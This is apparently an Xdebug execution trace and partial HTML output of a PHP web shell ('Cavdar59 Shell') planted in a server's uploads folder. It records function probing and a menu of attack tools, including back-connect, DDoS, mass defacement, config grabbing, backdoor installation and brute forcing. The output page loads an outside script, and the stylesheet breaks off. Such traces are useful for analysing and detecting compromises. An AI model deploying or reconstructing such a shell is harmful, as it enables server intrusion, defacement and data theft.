5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_exec'
6	484	0	0.165483	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_exec'
6	484	1	0.165497	3925384
6	484	R			FALSE
6	485	0	0.165509	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_getpriority'
6	485	1	0.165522	3925384
6	485	R			'pcntl_getpriority'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_getpriority'
6	486	0	0.165546	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_getpriority'
6	486	1	0.165560	3925384
6	486	R			FALSE
6	487	0	0.165572	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_setpriority'
6	487	1	0.165585	3925384
6	487	R			'pcntl_setpriority'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_setpriority'
6	488	0	0.165609	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_setpriority'
6	488	1	0.165622	3925384
6	488	R			FALSE
6	489	0	0.165635	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	'pcntl_async_signals'
6	489	1	0.165647	3925384
6	489	R			'pcntl_async_signals'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = 'pcntl_async_signals'
6	490	0	0.165673	3925352	is_callable	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	929	1	'pcntl_async_signals'
6	490	1	0.165686	3925384
6	490	R			FALSE
6	491	0	0.165699	3925352	trim	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	1	''
6	491	1	0.165711	3925384
6	491	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	928	$d = ''
5	441	1	0.165735	3922504
5	441	R			'<span class="header_show_all">All Functions Accessible</span>'
5	492	0	0.165755	3924296	getenv	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1193	1	'SERVER_SOFTWARE'
5	492	1	0.165772	3924376
5	492	R			'Apache/2.4.52 (Ubuntu)'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1210	$li = ['bypass2021' => '2021 php password bypass', 'proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'bypass2021'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'proc'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'phpeval'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'sql'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'dumper'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'coldumper'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'hash'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'connect'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'zoneh'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'dos'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'safe'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'cgishell'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'ssiShell'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'cpcrack'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'portscanner'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'basedir'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'mail'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'ziper'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'deziper'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'IndexChanger'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'pwchanger'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'ShellInjectors'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'php2xml'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'cloudflare'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'Whmcs'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'symlink'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'MassDefacer'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'Crackers'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'searcher'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'config_grabber'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'fakepage'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'archive_manager'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'cmshijacker'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'remotedl'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'inbackdoor'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'whois'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1216	$key = 'selfrm'
4	64	1	0.166683	3918112
4	493	0	0.166692	3918112	AlfaNum	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2565	7	8	9	10	7	6	5	4
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	948	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	949	$alfax = []
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	950	$find = []
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i = 1
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 1
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 2
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 3
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 4
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 5
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 6
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 7
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 8
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 9
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	952	$alfax[] = 10
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	951	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 8
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 9
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 10
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 7
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 6
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 5
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	955	$find[] = 4
5	494	0	0.167002	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	494	1	0.167021	3919632
5	494	R			FALSE
5	495	0	0.167035	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	495	1	0.167053	3919632
5	495	R			FALSE
5	496	0	0.167066	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	496	1	0.167083	3919632
5	496	R			FALSE
5	497	0	0.167096	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	497	1	0.167112	3919632
5	497	R			TRUE
5	498	0	0.167125	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	498	1	0.167141	3919632
5	498	R			TRUE
5	499	0	0.167154	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	499	1	0.167169	3919632
5	499	R			TRUE
5	500	0	0.167181	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	500	1	0.167198	3919632
5	500	R			TRUE
5	501	0	0.167210	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	501	1	0.167226	3919632
5	501	R			TRUE
5	502	0	0.167238	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	502	1	0.167254	3919632
5	502	R			TRUE
5	503	0	0.167266	3919560	in_array	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	959	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5	503	1	0.167281	3919632
5	503	R			TRUE
4	493	1	0.167294	3918112
4	504	0	0.167302	3918112	alfafooter	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2567	0
5	505	0	0.167315	3918112	htmlspecialchars	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2297	1	'/var/www/html/uploads/'
5	505	1	0.167330	3918304
5	505	R			'/var/www/html/uploads/'
5	506	0	0.167346	3921184	date	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2310	1	'Y'
5	506	1	0.167378	3921472
5	506	R			'2023'
4	504	1	0.169089	3934496
3	63	1	0.169098	3934496
			0.169133	3746312
TRACE END   [2023-02-13 01:23:25.366728]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head><script data-cfasync="false" src="//cavdar599.blogspot.com"></script>




<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ Cavdar59 Shell - v4.1-Cavdar59 ::..</title>
<style type="text/css">.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables 